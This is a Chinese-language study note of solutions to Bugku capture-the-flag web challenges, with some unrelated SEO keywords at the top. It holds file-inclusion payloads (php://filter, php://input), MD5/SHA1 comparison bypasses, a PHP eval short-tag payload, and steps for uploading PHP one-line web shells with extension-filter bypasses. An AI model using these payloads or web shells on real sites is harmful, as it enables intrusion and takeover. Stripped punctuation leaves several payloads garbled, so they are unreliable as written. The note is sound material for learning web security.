php网站管理系统,网站网页建设实训心得,湖北网络营销网站,合肥今天的最新消息常规思路#xff1a;
1#xff0c;源码2#xff0c;抓包3#xff0c;御剑dirsearch扫后台检查是否有git文件未删除4#xff0c;参数
本地管理员#xff1a;1#xff0c;cu看源码#xff0c;sci看源码有一串东西2#xff0c;base64解码后是test123猜测是密码3#x…常规思路
1源码2抓包3御剑dirsearch扫后台检查是否有git文件未删除4参数
本地管理员1cu看源码sci看源码有一串东西2base64解码后是test123猜测是密码3抓包把admin和test123放上去由于提示了是本地管理员所以在包里加一行x-forwarded-for:127.0.0.1声明自己是host本地地址
Game1边玩游戏边抓包2包里有score和sign其中sign很像base64但是有三个可能是base32或者base64或者构造的后面发现sign是zMbase64编码的分数构造的sign是分数的密文3把分数明文密文改成一致且分数改高发包即可返回flag 备份是个好习惯
1,扫后台有index.php.bak的文件或者提示了备份可以尝试index_bak.php或者index.php.bak这两个名字 2文件删掉bak后缀用notepad打开代码审计是MD5弱类型比较 Strstr截取和之后的字符串;substr返回从$str[1]开始的字符串(等于是去掉了;str_replace把key替换为空;parse_str把字符串解析到变量中parse_str(‘a1b2’)等价于$a1;$b2; 3,MD5绕过MD5绕过的技巧_md5强类型绕过-CSDN博客
MD5值以0e开头的字符串弱类型比较会被认为科学计数法以此绕过如
s878926199a s155964671a (双重MD5绕过CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk7r4lGXCH2Ksu2JNT3BYM
MD5处理不了数组会返回FALSE两个FALSE等价 payload?kekeyy1[]1kekeyy2[]2
evalinclude函数怀疑存在文件包含漏洞再看题目的eval函数得知存在代码执行的漏洞可以结合二者将flag.php的信息获取传递给参数a的值进行代码执行输出flag。即?hellofile(flag.php)图里边的flag不是真的 变量
error_reporting(0);//关闭PHP错误显示
include flag1.php;// 引入flag1.php文件代码
highlight_file(__file__);//对文件进行语法高亮显示
if(isset($_GET[args])){//判断url直接定义的args是否存在
$args $_GET[args];//将GET赋值的args赋值给变量$args
if(!preg_match(/^\w$/,$args)){// /^开始, \w表示任意一个单词字符即[a-zA-Z0-9_] ,将前面的字符匹配一次或多次$/结尾
die(args error!);//输出 args error!
}
eval(var_dump($$args););//此函数显示一个或多个表达式的信息包括表达式的类型与值
Sourcegit泄露1御剑和gobuster扫描gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txtgobuster扫出git文件wget -r http://114.67.246.176:10491/.git递归下载所有文件夹和文件git reflog查看版本日志,git show不断往下翻 1,file/etc/passwd能爆出数据说明有文件包含漏洞
filephp://filter/readconvert.base64-encode/resourceindex.phpBase64解码 Cookies:
1,首先观察到filename后面是base64编码 解码后 2尝试把keys.txt改成index.php将其编码替换line的值改动发现有代码代码审计时间到 ?php error_reporting(0); $filebase64_decode(isset($_GET[filename])?$_GET[filename]:); $lineisset($_GET[line])?intval($_GET[line]):0; if($file) header(location:index.php?linefilenamea2V5cy50eHQ); $file_list array( 0 keys.txt, 1 index.php, ); if(isset($_COOKIE[margin]) $_COOKIE[margin]margin){ $file_list[2]keys.php; } if(in_array($file, $file_list)){ $fa file($file); echo $fa[$line]; }
?
分析源代码当cookie的marginmargin时可以访问一个keys.php文件
filename的值改为base64加密后的keys.php
3抓包改cookie改filename回显出flag never_give_up 1id参数换来换去没用看源码有一个1p.html的文件如果把hello.php改成手打的1p.html会重定向到bugku首页改成复制于源码的就能正常跳转到新代码 2把中间那串东西url解码再base64解码再把一段东西url解码直接丢给GPT分析也行但是也别太信一开始GPT没分析出还有段url解码还得是自己动手 分析代码
?PHP
if(!$_GET[id])//GET方法获得id的值
{
header(Location: hello.php?id1);
exit();
}
$id$_GET[id];
$a$_GET[a];
$b$_GET[b];
if(stripos($a,.))//如果a中有.就返回.貌似没有绕过的方法因此用a传入文件基本是死路一条
{
echo no no no no no no no;
return ;
}
$data file_get_contents($a,r);//以只读的方式获得a传入文件的信息
if($databugku is a nice plateform! and $id0 and strlen($b)5 and eregi(111.substr($b,0,1),1114) and substr($b,0,1)!4)
{
$flag flag{***********}
}
else
{
print never never never give up !!!;
}
?
有flag出现的条件databugku is a nice plateform! id0b的长度5第一位可以加在111后匹配1114并且第一位又不是4
php://input 是个可以访问请求的原始数据的只读流只需在数据流中写入要读取的内容即可
弱比较0的绕过可以换成1字符串2科学计数法0e1111
ereg() 函数或 eregi() 函数存在空字符截断漏洞eregi是正则匹配函数第一个参数是pattern第二个参数是要匹配的内容
两种绕过方式1.利用该函数的空截断漏洞开头就是\x00,后面不管是什么都会匹配成功,后端得到的是\x00这中间还有个解码过程因此要对\x00进行url编码为%00如果用这种方法b要在最后不然过早把\x00放入会把a也截断
正则匹配为真就行b等于*123456 123456 123456这些
记得把GET改为POST 过狗一句话
1GPT分析题目给的代码 xxx二手市场
sql注入行不通登录也正常后面在上传头像的地方做手脚 把image里base64后面的东西全删了换成一句话木马image/jpeg换成image/phpphp作为文件后缀后面的东西看上去都base64了所以木马也要base64 3回显里data那里把\删掉用靶场url地址这串删掉\的东西,蚁剑链接这串地址http//题目地址/Uploads/heads/60eb9069c88e6624.php然后在html目录下翻出flag 轻轻晕倒 不知道把答案copy过来可能以后就知道了。哈哈。
一、目标是输出flag变量所以flag就在flag变量里面输出条件有三个
1flag变量长度等于$exam的长度长度为49
2,flag变量不能包含 , “ , . , \ , ( , ) , [ , ] , _ , flag , echo , print , require , include , die , exit ;
3eval($_GET[‘flag’]) sha1($flag)
前面两个条件好绕过就是第三个条件比较麻烦
我们可以利用php短标签来绕过
* ? ?和? ?是短标签而?php ?是长标签其中? 是代替 ? echo的? ?代替的是?php ?当PHP不支持使用短标签时请到PHP的安装目录下找到PHP.INI文件short_open_tagOn。php5默认的标记为?php ? 二、直接利用eval输出$flag变量的值payload为?flag$adlag;$a{0}f;?11111111111111111;?$$a;?,其中?用于闭合开头的?php 标记111…111是用来填充长度的。直接输出flag变量中的flag值不需要再和sha1($flag)比较。
想死。 速度要快1源码里说把找到的东西传参给margin然后以post形式提交2抓包看见返回的请求头里有flag后面跟着base64编码解码后还有一个再解码后剩下一串数字 3第二次抓包后请求头flag变了解码两次后数字又变了所以应该是快速解码然后快速post提交4写脚本不会写抄的。 前女友MD5绕过但是不知道为什么v3不等于flag的话为什么一定得是个数组
1网页只有字查看源码发现code.txt 2,要求v3不等于flag值v1!v2但是需要MD5值相同可以数组绕过或者 3但是v3只能数组绕过别的不行 SQL约束攻击
懒得写截图 你来自哪里
看题目知道是抓包改Referer:https://www.google.com 各种绕过哟 代码首先调用 highlight_file() 函数来显示名为 flag.php 的文件的源代码。接下来代码将 GET 参数 id 进行 URL 解码并赋值给 $_GET[id]。然后定义了一个变量 $flag并给它赋了一个字符串值。
条件当uname 不等于 passwd且 uname 和 passwd 的sha1()哈希值相等且 id 的值等于 margin则会输出 $flag 的值
Sha1()绕过1和MD5一样数组绕过210932435112aaroZmOkaaK1STfY
2Content-Type: application/x-www-form-urlencoded 用于指示请求体中的数据是经过 URL 编码格式key1value1key2value2的表单数据。其通常是通过 POST 方法向服务器提交表单数据。在这种情况下请求体中的数据会被编码成键值对的形式并以 符号分隔。bp包里面必须得加上这段为了对应上id也得url编码吗且get改post 文件包含 要求ac和fn的值一样抓包 ?ac1fnphp://input post传值1 文件上传
上传一句话木马抓包改Content-Type:为image/jpeg把filename1.php改成filename1.php4php2,php3,php4,php5,php6,php7,phps,phpt,phtml,phtm,Phpphp:.jpg
一般都是/upload查找含有的文件访问原URL/upload/filename
蚁剑连找flag文件
上传图片马抓包改为php后缀 死文件包含2加密脚本 需要倒着写解密
?php
function encrypt($data,$key)
{ $key md5(ISCC); $x 0; $len strlen($data); $klen strlen($key); for ($i0; $i $len; $i) { if ($x $klen) { $x 0; } $char . $key[$x]; $x1; } for ($i0; $i $len; $i) { $str . chr((ord($data[$i]) ord($char[$i])) % 128); } return base64_encode($str);
}
?
文件包含2
1看源码有提示upload.php,打开发现可以上传图片上传一句话木马把filename那里改成1.php:.jpg ?php和?被过滤了换成plus.php即另一个绕过的木马script languagephpecho a; eval($_POST[a]);/script页面显示a即成功。蚁剑链接 好像需要管理员
蚁剑扫出robots.txt 打开发现有个resusl.php的提示打开resusl.php显示我不是管理员。如果x参数等于密码就发金水所以直接抓包爆破 2然后最后试到密码是admin回显出flag 点login没反应
看源码admin.css是超链接点一下 2,源码出现当cookie反序列化后强等于$KEY时flag出现
$_COOKIE [ ] 数组可以读取Cookie变量的值 3把那串东西序列化 可以从上面的代码知道调用的 cookie 名称为 BUGKU抓包把cookie那一栏直接换成BUGKUs:13:ctf.bugku.com;而不是放在下面下面是post 直接text不行的话就data
?textdata://text/plain,welcome to the zjctf